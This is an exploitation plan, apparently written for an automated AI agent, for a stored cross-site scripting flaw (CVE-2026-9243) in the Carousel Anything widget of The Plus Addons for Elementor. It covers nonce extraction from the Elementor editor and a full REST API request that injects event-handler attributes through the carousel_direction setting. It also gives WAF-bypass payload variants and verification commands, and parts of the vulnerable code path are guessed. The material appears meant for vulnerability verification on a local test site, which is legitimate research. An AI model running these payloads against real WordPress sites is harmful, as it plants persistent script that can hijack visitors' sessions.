Exploitation Research Plan: CVE-2026-9243

1. Vulnerability Summary

CVE-2026-9243 is a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor (versions <= 6.4.15). The vulnerability exists within the Carousel Anything widget. Specifically, the render() function in the widget's PHP class (likely located in modules/widgets/tp_carousel_anything.php, inferred) outputs the user-controlled carousel_direction setting into an unquoted HTML dir attribute.

While the developer utilized esc_attr() for the value, the lack of surrounding quotes in the HTML template allows an attacker to use a space character to break out of the dir attribute and inject new HTML attributes (Attribute Injection), leading to JavaScript execution.

2. Attack Vector Analysis

• Target Plugin: The Plus Addons for Elementor (slug: the-plus-addons-for-elementor-page-builder)
• Vulnerable Widget: Carousel Anything (internal name: tp-carousel-anything)
• Vulnerable Parameter: carousel_direction
• Authentication Level: Contributor+ (any user role with permission to edit posts/pages using Elementor).
• Preconditions: The plugin must be active, and the attacker must be able to save or update an Elementor-powered post.

3. Code Flow (Inferred)

1. Input: A user with Contributor+ privileges edits a post via the Elementor builder.
2. Setting: The user selects the Carousel Anything widget and modifies the "Direction" (which maps to the carousel_direction setting).
3. Storage: Elementor saves the widget configuration as a JSON-encoded string in the _elementor_data post meta.
4. Sink (PHP): When the page is rendered, the widget's render() method is called.
   • It retrieves the setting: $direction = $settings['carousel_direction'];
   • It echoes the wrapper: echo '<div class="theplus-carousel-anything-wrapper" dir=' . esc_attr($direction) . ' ...>'; (Note the missing quotes around the dir value).
5. Execution: Since the attribute is unquoted, a payload like ltr onmouseover=alert(1) results in:
   <div class="theplus-carousel-anything-wrapper" dir=ltr onmouseover=alert(1) ...>
   The browser interprets onmouseover as a valid event handler attribute.

4. Nonce Acquisition Strategy

Exploiting Elementor-based vulnerabilities requires an Elementor REST API nonce or the standard WordPress _wpnonce.

For Contributor+ Attackers:

1. Create Page: The agent should first create a draft or post to use as the target.

   wp post create --post_type=post --post_title="XSS Test" --post_status=draft --post_author=2
   

2. Access Editor: Navigate to the Elementor editor for that post ID.
   browser_navigate("http://localhost:8080/wp-admin/post.php?post=POST_ID&action=elementor")
3. Extract Nonce: Use browser_eval to extract the REST API nonce from the Elementor configuration object.

   // JavaScript
   window.elementorConfig?.api?.nonce
   

4. Extract Rest URL:

   // JavaScript
   window.elementorConfig?.api?.root
   

5. Exploitation Strategy

The goal is to update the _elementor_data for a post to include a tp-carousel-anything widget with a malicious carousel_direction.

Step 1: Payload Construction

The payload needs to be a valid JSON structure for Elementor. The key part is the settings object for the tp-carousel-anything widget.

Payload: ltr onfocus=alert(document.domain) autofocus

Step 2: HTTP Request (Simulating Elementor Save)

Use the http_request tool to send a POST request to the Elementor REST API.

• URL: http://localhost:8080/wp-json/elementor/v1/pages/POST_ID
• Method: POST
• Headers:
  • X-WP-Nonce: [Extracted Nonce]
  • Content-Type: application/json
• Body:

  {
    "data": [
      {
        "id": "random_id",
        "elType": "section",
        "elements": [
          {
            "id": "random_id_2",
            "elType": "column",
            "elements": [
              {
                "id": "vulnerable_widget",
                "elType": "widget",
                "widgetType": "tp-carousel-anything",
                "settings": {
                  "carousel_direction": "ltr onmouseover=confirm(1) style=position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;"
                }
              }
            ]
          }
        ]
      }
    ]
  }
  

  Note: The style attribute expansion ensures the onmouseover is easily triggered by the user.

6. Test Data Setup

1. Target User: Create a user with the contributor role.
2. Plugin Setup: Ensure "The Plus Addons for Elementor" is active.
3. Elementor Setup: Ensure Elementor is active and allowed for the post post type.

7. Expected Results

• The REST API should return a 200 OK status with the updated post data.
• When viewing the post (/?p=POST_ID), the source code should contain:
  <div class="theplus-carousel-anything-wrapper" dir=ltr onmouseover=confirm(1) ...>
• Moving the mouse over the page should trigger the confirm(1) alert.

8. Verification Steps

1. Check Database via WP-CLI:

   wp post meta get POST_ID _elementor_data
   

   Verify that the JSON string contains the onmouseover payload.
2. Inspect Output via CLI:

   curl -s "http://localhost:8080/?p=POST_ID" | grep "onmouseover=confirm(1)"
   

9. Alternative Approaches

If the dir attribute is not the only unquoted attribute, check other parameters in the render() function of tp_carousel_anything.php.

• Parameter: carousel_direction
• Alternate Payload: If onmouseover is blocked by a WAF, try onfocus with autofocus:
  ltr onfocus=alert(1) autofocus
• JSON Context: If the frontend JS (plus-carousel-anything.js) parses this value from a data-result attribute, the injection might also occur within that JSON-encoded attribute if it is also unquoted.

Refined Path Guess:
Check the-plus-addons-for-elementor-page-builder/modules/widgets/tp_carousel_anything.php for the string: dir=<?php echo esc_attr($settings['carousel_direction']); ?> (without quotes).